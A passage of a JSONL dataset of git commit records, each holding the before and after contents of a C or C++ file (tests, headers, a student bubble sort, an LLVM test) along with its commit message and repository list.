rishMunot\/swift,calebd\/swift,alblue\/swift,ben-ng\/swift,dduan\/swift,roambotics\/swift,alblue\/swift,xwu\/swift,cbrentharris\/swift,austinzheng\/swift,cbrentharris\/swift,slavapestov\/swift,zisko\/swift,uasys\/swift,SwiftAndroid\/swift,gribozavr\/swift,rudkx\/swift,deyton\/swift,milseman\/swift,adrfer\/swift,arvedviehweger\/swift,Ivacker\/swift,arvedviehweger\/swift,arvedviehweger\/swift,sdulal\/swift,kentya6\/swift,gribozavr\/swift,practicalswift\/swift,slavapestov\/swift,calebd\/swift,practicalswift\/swift,xwu\/swift,kstaring\/swift,johnno1962d\/swift,shajrawi\/swift,codestergit\/swift,parkera\/swift,devincoughlin\/swift,lorentey\/swift,atrick\/swift,nathawes\/swift,parkera\/swift,airspeedswift\/swift,shahmishal\/swift,MukeshKumarS\/Swift,swiftix\/swift,amraboelela\/swift,cbrentharris\/swift,felix91gr\/swift,stephentyrone\/swift,sdulal\/swift,deyton\/swift,danielmartin\/swift,kusl\/swift,calebd\/swift,swiftix\/swift,milseman\/swift,practicalswift\/swift,Ivacker\/swift,khizkhiz\/swift,emilstahl\/swift,dreamsxin\/swift,xedin\/swift,sschiau\/swift,tjw\/swift,nathawes\/swift,harlanhaskins\/swift,shajrawi\/swift,xedin\/swift,sdulal\/swift,roambotics\/swift,JaSpa\/swift,gottesmm\/swift,airspeedswift\/swift,tinysun212\/swift-windows,tkremenek\/swift,rudkx\/swift,Ivacker\/swift,modocache\/swift,shajrawi\/swift,lorentey\/swift,gregomni\/swift,CodaFi\/swift,kentya6\/swift,mightydeveloper\/swift,swiftix\/swift,danielmartin\/swift,gribozavr\/swift,Jnosh\/swift,JaSpa\/swift,nathawes\/swift,felix91gr\/swift,IngmarStein\/swift,kstaring\/swift,jmgc\/swift,glessard\/swift,aschwaighofer\/swift,ben-ng\/swift,atrick\/swift,kperryua\/swift,allevato\/swift,hooman\/swift,benlangmuir\/swift,JGiola\/swift,atrick\/swift,xwu\/swift,adrfer\/swift,jtbandes\/swift,gmilos\/swift,KrishMunot\/swift,tjw\/swift,tinysun212\/swift-windows,tkremenek\/swift,shahmishal\/swift,jopamer\/swift,tinysun212\/swift-windows,xedin\/swift,JGiola\/swift,MukeshKumarS\/Swift,CodaFi\/swift,airspeedswift\/swift,harlanhaskins\/swift,amraboelela\/swift,ahoppen\/swift,khizkhiz\/swift,parkera\/swift,atrick\/swift,kusl\/swift,tinysun212\/swift-windows,uasys\/swift,devincoughlin\/swift,gregomni\/swift,russbishop\/swift,return\/swift,SwiftAndroid\/swift,bitjammer\/swift,hooman\/swift,swiftix\/swift,CodaFi\/swift,johnno1962d\/swift,KrishMunot\/swift,Jnosh\/swift,practicalswift\/swift,djwbrown\/swift,devincoughlin\/swift,tkremenek\/swift,tkremenek\/swift,xwu\/swift,codestergit\/swift,russbishop\/swift,aschwaighofer\/swift,jtbandes\/swift,emilstahl\/swift,harlanhaskins\/swift,jtbandes\/swift,kstaring\/swift,frootloops\/swift,jmgc\/swift,natecook1000\/swift,xedin\/swift,tardieu\/swift,arvedviehweger\/swift,huonw\/swift,CodaFi\/swift,swiftix\/swift,mightydeveloper\/swift,natecook1000\/swift,OscarSwanros\/swift,allevato\/swift,kentya6\/swift,rudkx\/swift,tardieu\/swift,tardieu\/swift,kentya6\/swift,xedin\/swift,sschiau\/swift,frootloops\/swift,aschwaighofer\/swift,mightydeveloper\/swift,Jnosh\/swift,IngmarStein\/swift,Ivacker\/swift,lorentey\/swift,return\/swift,gribozavr\/swift,gmilos\/swift,rudkx\/swift,KrishMunot\/swift,apple\/swift,jopamer\/swift,slavapestov\/swift,swiftix\/swift.old,emilstahl\/swift,Jnosh\/swift,jmgc\/swift,uasys\/swift,mightydeveloper\/swift,tardieu\/swift,adrfer\/swift,swiftix\/swift.old,SwiftAndroid\/swift,therealbnut\/swift,ken0nek\/swift,LeoShimonaka\/swift,tinysun212\/swift-windows,danielmartin\/swift,djwbrown\/swift,kperryua\/swift,devincoughlin\/swift,sschiau\/swift,gottesmm\/swift,tinysun212\/swift-windows,IngmarStein\/swift,stephentyrone\/swift,kstaring\/swift,calebd\/swift,ahoppen\/swift,glessard\/swift,ben-ng\/swift,johnno1962d\/swift,karwa\/swift,shajrawi\/swift,slavapestov\/swift,adrfer\/swift,harlanhaskins\/swift,benlangmuir\/swift,therealbnut\/swift,ken0nek\/swift,IngmarStein\/swift,jckarter\/swift,djwbrown\/swift,hooman\/swift,frootloops\/swift,LeoShimonaka\/swift,calebd\/swift,jtbandes\/swift,JGiola\/swift,shahmishal\/swift,stephentyrone\/swift,nathawes\/swift,ahoppen\/swift,zisko\/swift,danielmartin\/swift,tardieu\/swift,allevato\/swift,arvedviehweger\/swift,stephentyrone\/swift,LeoShimonaka\/swift,modocache\/swift,manavgabhawala\/swift,therealbnut\/swift,ahoppen\/swift,tkremenek\/swift,jopamer\/swift,MukeshKumarS\/Swift,johnno1962d\/swift,amraboelela\/swift,roambotics\/swift,johnno1962d\/swift,zisko\/swift,sschiau\/swift,therealbnut\/swift,huonw\/swift,kperryua\/swift,brentdax\/swift,modocache\/swift,nathawes\/swift,jckarter\/swift,emilstahl\/swift,adrfer\/swift,airspeedswift\/swift,lorentey\/swift,stephentyrone\/swift,ahoppen\/swift,cbrentharris\/swift,djwbrown\/swift,karwa\/swift,milseman\/swift,glessard\/swift,MukeshKumarS\/Swift"}
{"commit":"ce9d3b5bb566afb72d5d7ba4623f4f73b5dab830","old_file":"cantranslator\/tests\/bitfield_tests.c","new_file":"cantranslator\/tests\/bitfield_tests.c","old_contents":"#include <check.h>\n#include \"bitfield.h\"\n\nSTART_TEST (test_foo)\n{\n    fail_unless(1 == 2);\n}\nEND_TEST\n\nSuite* bitfieldSuite(void) {\n    Suite* s = suite_create(\"bitfield\");\n    TCase *tc_core = tcase_create(\"core\");\n    tcase_add_test(tc_core, test_foo);\n    suite_add_tcase(s, tc_core);\n\n    return s;\n}\n\nint main(void) {\n    int numberFailed;\n    Suite* s = bitfieldSuite();\n    SRunner *sr = srunner_create(s);\n    srunner_run_all(sr, CK_NORMAL);\n    numberFailed = srunner_ntests_failed(sr);\n    srunner_free(sr);\n    return (numberFailed == 0) ? 0 : 1;\n}\n","new_contents":"#include <check.h>\n#include <stdint.h>\n#include \"bitfield.h\"\n\nSTART_TEST (test_size)\n{\n    uint8_t data = 0xFF;\n    fail_unless(getBitField(&data, 0, 4) == 0xF);\n}\nEND_TEST\n\nSuite* bitfieldSuite(void) {\n    Suite* s = suite_create(\"bitfield\");\n    TCase *tc_core = tcase_create(\"core\");\n    tcase_add_test(tc_core, test_size);\n    suite_add_tcase(s, tc_core);\n\n    return s;\n}\n\nint main(void) {\n    int numberFailed;\n    Suite* s = bitfieldSuite();\n    SRunner *sr = srunner_create(s);\n    srunner_run_all(sr, CK_NORMAL);\n    numberFailed = srunner_ntests_failed(sr);\n    srunner_free(sr);\n    return (numberFailed == 0) ? 0 : 1;\n}\n","subject":"Add a real test case for bitfield.","message":"Add a real test case for bitfield.\n\nThis currently fails because we're not linking the test with the objects we want\nto test. I tried adding the $(OBJS) variable to the build line, but because\nthose objects are all compiled with pic32-gcc it's not going to work.\n\nI think the solution is to either:\n\nManually list the objects we want to recompile and link with (boo)\n\nCompile our non-Arduino code into a static library that we link with.\n","lang":"C","license":"bsd-3-clause","repos":"mgiannikouris\/vi-firmware,openxc\/vi-firmware,mgiannikouris\/vi-firmware,openxc\/vi-firmware,mgiannikouris\/vi-firmware,openxc\/vi-firmware,ene-ilies\/vi-firmware,openxc\/vi-firmware,ene-ilies\/vi-firmware,ene-ilies\/vi-firmware,mgiannikouris\/vi-firmware,ene-ilies\/vi-firmware"}
{"commit":"c0e3faa7fc57ddefe8ecab3eca1fc866809c5def","old_file":"sort_algorithms.c","new_file":"sort_algorithms.c","old_contents":"\/*  Author: \t\tDan Wilder\n *\n *  School:\t\tUniversity of Missouri - St. Louis\n *  Semester:\t\tFall 2015\n *  Class: \t\tCS 3130 - Design and Analysis of Algorithms   \n *  Instructor:\t\tGalina N. Piatnitskaia\n *\/\n \n#include \"sort_algorithms.h\"\n\nvoid swap(int *x, int *y) {\n  int temp = *x;\n  *x = *y\n  *y = temp;\n}\n\nvoid bubbleSort(int arr[], int size) {\n\/* with swaps counting.\n *\/\n  int i, j;\n  for (i = 0; i <= size-1; ++i)      \n    for (j = size; j >= i+1; --j)\n      if (arr[j] < arr[j-1])\n        swap(&arr[j], &arr[j-1]);\n}\n","new_contents":"\/*  Author: \t\tDan Wilder\n *\n *  School:\t\tUniversity of Missouri - St. Louis\n *  Semester:\t\tFall 2015\n *  Class: \t\tCS 3130 - Design and Analysis of Algorithms   \n *  Instructor:\t\tGalina N. Piatnitskaia\n *\/\n \n#include \"sort_algorithms.h\"\n\nvoid swap(int *x, int *y) {\n  int temp = *x;\n  *x = *y\n  *y = temp;\n}\n\nvoid bubbleSort(int arr[], int size) {\n\/* with swaps counting.\n *\/\n  int i, j, swaps;\n\n  for (i = 0; i <= size-1; ++i) {  \n    swaps = 0;   \n \n    for (j = size; j >= i+1; --j)\n      if (arr[j] < arr[j-1]) {\n        swap(&arr[j], &arr[j-1]);\n        ++swaps;\n      }\n\n    if (swaps == 0)\n      break;\n  }\n}\n","subject":"Add swap counting in bubbleSort","message":"Add swap counting in bubbleSort\n","lang":"C","license":"mit","repos":"sentientWilder\/Search-and-Sort,sentientWilder\/Search-and-Sort"}
{"commit":"e812028de50245da9984aedc326093b0364332d1","old_file":"libarchivist\/archivist\/cache.h","new_file":"libarchivist\/archivist\/cache.h","old_contents":"#ifndef ARCH_CACHE_H\n#define ARCH_CACHE_H 1\n#include \"uuid.h\"\n#include \"record.h\"\n\n#define ARCH_CACHE_MIN 31\ntypedef struct arch_cache_bucket {\n  arch_uuid_t uuid;\n  arch_record_t *record;\n  struct arch_cache_bucket *next;\n} arch_cache_bucket_t;\n\ntypedef struct arch_cache {\n  struct arch_cache *old;\n  size_t size, entries;\n  arch_cache_bucket_t *slots[];\n} arch_cache_t;\n\n\narch_record_t *arch_cache_get(arch_cache_t *cache, arch_uuid_t uuid);\nbool arch_cache_set(arch_cache_t *cache, arch_record_t *record);\n#endif\n","new_contents":"#ifndef ARCH_CACHE_H\n#define ARCH_CACHE_H 1\n#include \"uuid.h\"\n#include \"record.h\"\n\n#define ARCH_CACHE_MIN 31\ntypedef struct arch_cache_bucket {\n  arch_uuid_t uuid;\n  arch_record_t *record;\n  struct arch_cache_bucket *next;\n} arch_cache_bucket_t;\n\ntypedef struct arch_cache {\n  struct arch_cache *old;\n  size_t size, entries;\n  arch_cache_bucket_t *slots[];\n} arch_cache_t;\n\n#define ARCH_CACHE_BYTES(elts) (sizeof(arch_cache_t) + sizeof(arch_cache_bucket_t) * elts)\n\narch_record_t *arch_cache_get(arch_cache_t *cache, arch_uuid_t uuid);\nbool arch_cache_set(arch_cache_t *cache, arch_record_t *record);\n#endif\n","subject":"Add allocation helper macro ARCH_CACHE_BYTES()","message":"Add allocation helper macro ARCH_CACHE_BYTES()\n","lang":"C","license":"bsd-2-clause","repos":"LambdaOS\/Archivist"}
{"commit":"b0fd54165257fa2c62c1e700c547b597778683bb","old_file":"ionWindow\/CWindowManager.h","new_file":"ionWindow\/CWindowManager.h","old_contents":"\r\n#pragma once\r\n\r\n#include <ionMath.h>\r\n\r\n#include \"CWindow.h\"\r\n#undef CreateWindow\r\n\r\n\r\nenum class EWindowType\r\n{\r\n\tFullscreen,\r\n\tWindowed\r\n};\r\n\r\nclass CWindowManager : public Singleton<CWindowManager>, public IEventListener\r\n{\r\n\r\npublic:\r\n\r\n\tvoid Init();\r\n\tvoid PollEvents();\r\n\tbool ShouldClose() const;\r\n\tbool Run();\r\n\r\n\tCWindow * CreateWindow(vec2i const & Size, std::string const & Title, EWindowType const Type);\r\n\r\nprotected:\r\n\r\n\tCWindow * PrimaryWindow;\r\n\tstd::map<GLFWwindow *, CWindow *> Windows;\r\n\r\n\tstatic void KeyCallback(GLFWwindow * window, int key, int scancode, int action, int mods);\r\n\tstatic void MouseButtonCallback(GLFWwindow * window, int button, int action, int mods);\r\n\tstatic void MouseScrollCallback(GLFWwindow * window, double xoffset, double yoffset);\r\n\tstatic void MouseCursorCallback(GLFWwindow * window, double xpos, double ypos);\r\n\tstatic void CharCallback(GLFWwindow * window, unsigned int c);\r\n\r\nprivate:\r\n\r\n\tfriend class Singleton<CWindowManager>;\r\n\tCWindowManager();\r\n\r\n};\r\n","new_contents":"\r\n#pragma once\r\n\r\n#include <ionMath.h>\r\n\r\n#include \"CWindow.h\"\r\n\r\n\r\nenum class EWindowType\r\n{\r\n\tFullscreen,\r\n\tWindowed\r\n};\r\n\r\nclass CWindowManager : public Singleton<CWindowManager>, public IEventListener\r\n{\r\n\r\npublic:\r\n\r\n\tvoid Init();\r\n\tvoid PollEvents();\r\n\tbool ShouldClose() const;\r\n\tbool Run();\r\n\r\n#undef CreateWindow\r\n\tCWindow * CreateWindow(vec2i const & Size, std::string const & Title, EWindowType const Type);\r\n\r\nprotected:\r\n\r\n\tCWindow * PrimaryWindow;\r\n\tstd::map<GLFWwindow *, CWindow *> Windows;\r\n\r\n\tstatic void KeyCallback(GLFWwindow * window, int key, int scancode, int action, int mods);\r\n\tstatic void MouseButtonCallback(GLFWwindow * window, int button, int action, int mods);\r\n\tstatic void MouseScrollCallback(GLFWwindow * window, double xoffset, double yoffset);\r\n\tstatic void MouseCursorCallback(GLFWwindow * window, double xpos, double ypos);\r\n\tstatic void CharCallback(GLFWwindow * window, unsigned int c);\r\n\r\nprivate:\r\n\r\n\tfriend class Singleton<CWindowManager>;\r\n\tCWindowManager();\r\n\r\n};\r\n","subject":"Move CreateWindow undef to make its purpose more clear","message":"Move CreateWindow undef to make its purpose more clear\n","lang":"C","license":"mit","repos":"iondune\/ionEngine,iondune\/ionEngine"}
{"commit":"aa1c5191494846d7a7ce11a485bd24176be36886","old_file":"creator\/plugins\/tools\/vcs\/vcstoolplugin.h","new_file":"creator\/plugins\/tools\/vcs\/vcstoolplugin.h","old_contents":"\/******************************************************************************\n * This file is part of the Gluon Development Platform\n * Copyright (c) 2011 Laszlo Papp <lpapp@kde.org>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#ifndef GLUON_CREATOR_VCSTOOLPLUGIN_H\n#define GLUON_CREATOR_VCSTOOLPLUGIN_H\n\n#include <creator\/lib\/toolplugin.h>\n\nnamespace GluonCreator\n{\n\n    class VcsToolPlugin : public ToolPlugin\n    {\n            Q_OBJECT\n        public:\n            VcsToolPlugin( QObject* parent, const QList<QVariant>& params );\n            ~VcsToolPlugin();\n\n        protected:\n            QWidget* createTool( KXmlGuiWindow* parent );\n    };\n\n}\n\n#endif \/\/ GLUON_CREATOR_MESSAGEDOCKPLUGIN_H\n","new_contents":"\/******************************************************************************\n * This file is part of the Gluon Development Platform\n * Copyright (c) 2011 Laszlo Papp <lpapp@kde.org>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#ifndef GLUON_CREATOR_VCSTOOLPLUGIN_H\n#define GLUON_CREATOR_VCSTOOLPLUGIN_H\n\n#include <creator\/lib\/toolplugin.h>\n\nnamespace GluonCreator\n{\n\n    class VcsToolPlugin : public ToolPlugin\n    {\n            Q_OBJECT\n        public:\n            VcsToolPlugin( QObject* parent, const QList<QVariant>& params );\n            ~VcsToolPlugin();\n\n            void initialize() {}\n\n        protected:\n            QWidget* createTool( KXmlGuiWindow* parent );\n    };\n\n}\n\n#endif \/\/ GLUON_CREATOR_MESSAGEDOCKPLUGIN_H\n","subject":"Add an empty initialize implementation in order to avoid the compilation error","message":"Add an empty initialize implementation in order to avoid the compilation error\n\nCCMAIL: ashwin_rajeev@hotmail.com\n\nCommit \"17496753\" added a pure virtual initialize method to the plugin interface\nwithout extending the vcstoolplugin subclass even just with an empty body, so\nthat is the reason why it got broken. It was not probably tested with the VCS\noption enabled and kdevplatform installed.\n","lang":"C","license":"lgpl-2.1","repos":"KDE\/gluon,KDE\/gluon,KDE\/gluon,KDE\/gluon"}
{"commit":"19c9cc48d98add5e1f0414ce7d1885e6f3ed1e82","old_file":"src\/homie-node-collection.h","new_file":"src\/homie-node-collection.h","old_contents":"#pragma once\n\n#include \"misc\/welcome.hpp\"\n#include \"misc\/ota.hpp\"\n\n#include \"Bme280Node.hpp\"\n#include \"ContactNode.hpp\"\n#include \"DHT22Node.hpp\"\n#include \"RelayNode.hpp\"\n\n","new_contents":"#pragma once\n\n#include \"misc\/welcome.hpp\"\n#include \"misc\/ota.hpp\"\n\n#include \"Bme280Node.hpp\"\n#include \"ButtonNode.hpp\"\n#include \"ContactNode.hpp\"\n#include \"DHT22Node.hpp\"\n#include \"RelayNode.hpp\"\n\n","subject":"Include ButtonNode in header file","message":"Include ButtonNode in header file\n","lang":"C","license":"mit","repos":"luebbe\/homie-node-collection"}
{"commit":"ee3c4d78acdfd67d161a3d9bac79e6597393d414","old_file":"tests\/test_util.c","new_file":"tests\/test_util.c","old_contents":"\/* Unit tests for small utility routines.\n *\n * SCL; 2016\n *\/\n\n#include <stdlib.h>\n\n#include \"common.h\"\n#include \"tests_common.h\"\n#include \"gr1c_util.h\"\n\n\nint main( int argc, char **argv )\n{\n    vartype bv[] = {0,1,0,1};\n\n    if (bitvec_to_int( bv, 4 ) != 0xA) {\n        ERRPRINT( \"bitvec_to_int( [0,1,0,1], 4) != 0xA\" );\n        abort();\n    }\n\n    return 0;\n}\n","new_contents":"\/* Unit tests for small utility routines.\n *\n * SCL; 2016\n *\/\n\n#include <stdlib.h>\n#include <assert.h>\n\n#include \"common.h\"\n#include \"tests_common.h\"\n#include \"gr1c_util.h\"\n\n\nvoid print_arr( FILE *fp, vartype *arr, int len )\n{\n    int k;\n    assert( len > 0 );\n    fprintf( fp, \"[\" );\n    for (k = 0; k < len; k++) {\n        fprintf( fp, \"%d\", arr[k] );\n        if (k < len-1)\n            fprintf( fp, \",\" );\n    }\n    fprintf( fp, \"]\" );\n}\n\n\nvoid check_bitvec_to_int( vartype *bv, int len, int expected )\n{\n    if (bitvec_to_int( bv, len ) != expected) {\n        ERRPRINT( \"Unexpected return value of bitvec_to_int\" );\n        fprintf( stderr, \"bitvec_to_int( \" );\n        print_arr( stderr, bv, len );\n        fprintf( stderr, \", %d ) != 0x%X\\n\\n\", len, expected );\n        abort();\n    }\n}\n\n\nint main( int argc, char **argv )\n{\n    vartype bv_A[] = {0,1,0,1};\n\n    check_bitvec_to_int( bv_A, 4, 0xA );\n\n    return 0;\n}\n","subject":"Implement generic check of bitvec_to_int()","message":"TEST: Implement generic check of bitvec_to_int()\n","lang":"C","license":"bsd-3-clause","repos":"slivingston\/gr1c,slivingston\/gr1c,slivingston\/gr1c"}
{"commit":"8253535b09532ff8b788611ffec5161aad910d6a","old_file":"src\/vast\/util\/hash_combine.h","new_file":"src\/vast\/util\/hash_combine.h","old_contents":"","new_contents":"#ifndef VAST_UTIL_HASH_COMBINE_H\n#define VAST_UTIL_HASH_COMBINE_H\n\n#include <cstddef>\n\nnamespace vast {\nnamespace util {\n\n\/\/ Hashes 128-bit input down to 64 bits.\n\/\/ @note Taken from Google's CityHash; licence: MIT\ninline size_t hash_128_to_64(size_t upper, size_t lower)\n{\n  static size_t const k_mul = 0x9ddfea08eb382d69ull;\n\n  auto a = (lower ^ upper) * k_mul;\n  a ^= (a >> 47);\n\n  auto b = (upper ^ a) * k_mul;\n  b ^= (b >> 47);\n  b *= k_mul;\n\n  return b;\n}\n\n\/\/\/ Convenience function to combine multiple hash digests.\n\/\/\/ @param x The value to hash.\n\/\/\/ @returns The hash value of *x*.\ntemplate <typename T>\nsize_t hash_combine(T const& x)\n{\n  return std::hash<T>{}(x);\n}\n\n\/\/\/ Combines multiple hash digests.\n\/\/\/ @param x The first value to hash.\n\/\/\/ @param xs The remaining values to hash and combine with *x*.\n\/\/\/ @returns The combined hash value of *x* and all *xs*.\ntemplate <typename T, typename... Ts>\nsize_t hash_combine(T const& x, Ts const&... xs)\n{\n  return hash_128_to_64(hash_combine(x), hash_combine(xs...));\n}\n\n} \/\/ namespace util\n} \/\/ namespace vast\n\n#endif\n","subject":"Add function to combine multiple hash digests.","message":"Add function to combine multiple hash digests.\n","lang":"C","license":"bsd-3-clause","repos":"vast-io\/vast,vast-io\/vast,mavam\/vast,vast-io\/vast,mavam\/vast,pmos69\/vast,pmos69\/vast,mavam\/vast,pmos69\/vast,vast-io\/vast,pmos69\/vast,mavam\/vast,vast-io\/vast"}
{"commit":"f6ed7824c55ef2f915eca3965b06cb67fd16335c","old_file":"test\/FrontendC\/cstring-align.c","new_file":"test\/FrontendC\/cstring-align.c","old_contents":"\/\/ RUN: %llvmgcc %s -c -Os -m32 -emit-llvm -o - | llc -march=x86 -mtriple=i386-apple-darwin10 | FileCheck %s -check-prefix=DARWIN32\n\/\/ RUN: %llvmgcc %s -c -Os -m64 -emit-llvm -o - | llc -march=x86_64 -mtriple=x86_64-apple-darwin10 | FileCheck %s -check-prefix=DARWIN64\n\nextern void func(const char *, const char *);\n\nvoid long_function_name() {\n  func(\"%s: the function name\", __func__);\n}\n\n\/\/ DARWIN64: .align 3\n\/\/ DARWIN64: ___func__.\n\/\/ DARWIN64: .asciz \"long_function_name\"\n\n\/\/ DARWIN32: .align 2\n\/\/ DARWIN32: ___func__.\n\/\/ DARWIN32: .asciz \"long_function_name\"\n","new_contents":"\/\/ RUN: %llvmgcc %s -c -Os -m32 -emit-llvm -o - | llc -march=x86 -mtriple=i386-apple-darwin10 | FileCheck %s -check-prefix=DARWIN32\n\/\/ RUN: %llvmgcc %s -c -Os -m64 -emit-llvm -o - | llc -march=x86-64 -mtriple=x86_64-apple-darwin10 | FileCheck %s -check-prefix=DARWIN64\n\nextern void func(const char *, const char *);\n\nvoid long_function_name() {\n  func(\"%s: the function name\", __func__);\n}\n\n\/\/ DARWIN64: .align 3\n\/\/ DARWIN64: ___func__.\n\/\/ DARWIN64: .asciz \"long_function_name\"\n\n\/\/ DARWIN32: .align 2\n\/\/ DARWIN32: ___func__.\n\/\/ DARWIN32: .asciz \"long_function_name\"\n","subject":"Fix -march= name for x86-64.","message":"Fix -march= name for x86-64.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@89445 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm"}
{"commit":"3dc5cfa7d542651af425a6c9870b00fd24248b4e","old_file":"opencog\/cython\/agent_finder_types.h","new_file":"opencog\/cython\/agent_finder_types.h","old_contents":"namespace opencog\n{\n\n\/\/ This type is returned from the agent_finder_api when loading a python module\n\/\/ containing agents or requests\nstruct requests_and_agents_t {\n    std::vector<std::string> agents;\n    std::vector<std::string> requests;\n    std::vector<std::string> req_summary;\n    std::vector<std::string> req_description;\n    std::vector<bool> req_is_shell;\n    std::string err_string;\n};\n\n}\n","new_contents":"\n#include <opencog\/atomspace\/AtomSpace.h>\n\nnamespace opencog\n{\n\n\/\/ This type is returned from the agent_finder_api when loading a python module\n\/\/ containing agents or requests\nstruct requests_and_agents_t {\n    std::vector<std::string> agents;\n    std::vector<std::string> requests;\n    std::vector<std::string> req_summary;\n    std::vector<std::string> req_description;\n    std::vector<bool> req_is_shell;\n    std::string err_string;\n};\n\n}\n","subject":"Add missing include; fixes build break","message":"Add missing include; fixes build break\n","lang":"C","license":"agpl-3.0","repos":"inflector\/opencog,ArvinPan\/atomspace,ceefour\/opencog,sanuj\/opencog,rodsol\/opencog,zhaozengguang\/opencog,rohit12\/opencog,eddiemonroe\/opencog,iAMr00t\/opencog,sumitsourabh\/opencog,printedheart\/atomspace,kinoc\/opencog,misgeatgit\/atomspace,tim777z\/opencog,gavrieltal\/opencog,tim777z\/opencog,misgeatgit\/atomspace,yantrabuddhi\/opencog,Selameab\/atomspace,rohit12\/opencog,eddiemonroe\/opencog,ArvinPan\/atomspace,misgeatgit\/opencog,Tiggels\/opencog,williampma\/opencog,Tiggels\/opencog,MarcosPividori\/atomspace,gaapt\/opencog,zhaozengguang\/opencog,ArvinPan\/opencog,anitzkin\/opencog,andre-senna\/opencog,misgeatgit\/opencog,printedheart\/opencog,tim777z\/opencog,shujingke\/opencog,rodsol\/atomspace,ArvinPan\/opencog,printedheart\/atomspace,ceefour\/atomspace,yantrabuddhi\/opencog,rohit12\/atomspace,cosmoharrigan\/atomspace,ruiting\/opencog,jswiergo\/atomspace,jlegendary\/opencog,ceefour\/opencog,rodsol\/opencog,cosmoharrigan\/opencog,kinoc\/opencog,prateeksaxena2809\/opencog,jlegendary\/opencog,ruiting\/opencog,roselleebarle04\/opencog,ceefour\/atomspace,printedheart\/opencog,Allend575\/opencog,cosmoharrigan\/opencog,rodsol\/opencog,kim135797531\/opencog,roselleebarle04\/opencog,iAMr00t\/opencog,rohit12\/opencog,inflector\/opencog,yantrabuddhi\/atomspace,eddiemonroe\/opencog,yantrabuddhi\/atomspace,UIKit0\/atomspace,inflector\/atomspace,Selameab\/atomspace,eddiemonroe\/atomspace,prateeksaxena2809\/opencog,shujingke\/opencog,roselleebarle04\/opencog,cosmoharrigan\/atomspace,rohit12\/opencog,rodsol\/opencog,ceefour\/opencog,virneo\/opencog,tim777z\/opencog,iAMr00t\/opencog,misgeatgit\/opencog,shujingke\/opencog,ceefour\/atomspace,rodsol\/atomspace,sanuj\/opencog,printedheart\/atomspace,Selameab\/opencog,ArvinPan\/opencog,Selameab\/opencog,yantrabuddhi\/atomspace,sanuj\/opencog,Tiggels\/opencog,andre-senna\/opencog,printedheart\/atomspace,AmeBel\/atomspace,cosmoharrigan\/atomspace,AmeBel\/opencog,Selameab\/opencog,Allend575\/opencog,kinoc\/opencog,ruiting\/opencog,inflector\/opencog,williampma\/opencog,TheNameIsNigel\/opencog,inflector\/atomspace,rohit12\/atomspace,TheNameIsNigel\/opencog,cosmoharrigan\/opencog,shujingke\/opencog,gaapt\/opencog,Tiggels\/opencog,ArvinPan\/atomspace,williampma\/atomspace,misgeatgit\/opencog,gavrieltal\/opencog,jswiergo\/atomspace,misgeatgit\/opencog,sanuj\/opencog,zhaozengguang\/opencog,virneo\/atomspace,andre-senna\/opencog,zhaozengguang\/opencog,eddiemonroe\/opencog,andre-senna\/opencog,ceefour\/atomspace,misgeatgit\/opencog,kinoc\/opencog,MarcosPividori\/atomspace,rohit12\/atomspace,rodsol\/opencog,gavrieltal\/opencog,kim135797531\/opencog,gavrieltal\/opencog,misgeatgit\/atomspace,anitzkin\/opencog,rodsol\/atomspace,Tiggels\/opencog,ceefour\/opencog,sumitsourabh\/opencog,sanuj\/opencog,zhaozengguang\/opencog,sanuj\/opencog,eddiemonroe\/atomspace,anitzkin\/opencog,gaapt\/opencog,andre-senna\/opencog,eddiemonroe\/opencog,virneo\/opencog,AmeBel\/atomspace,misgeatgit\/opencog,gavrieltal\/opencog,virneo\/atomspace,virneo\/atomspace,shujingke\/opencog,AmeBel\/opencog,sumitsourabh\/opencog,williampma\/atomspace,kim135797531\/opencog,rohit12\/opencog,misgeatgit\/opencog,ArvinPan\/atomspace,iAMr00t\/opencog,anitzkin\/opencog,williampma\/atomspace,eddiemonroe\/atomspace,prateeksaxena2809\/opencog,virneo\/opencog,yantrabuddhi\/opencog,kim135797531\/opencog,anitzkin\/opencog,kinoc\/opencog,roselleebarle04\/opencog,Allend575\/opencog,iAMr00t\/opencog,Allend575\/opencog,ruiting\/opencog,ruiting\/opencog,eddiemonroe\/opencog,UIKit0\/atomspace,AmeBel\/opencog,anitzkin\/opencog,jswiergo\/atomspace,kim135797531\/opencog,ceefour\/opencog,yantrabuddhi\/atomspace,Selameab\/opencog,sumitsourabh\/opencog,prateek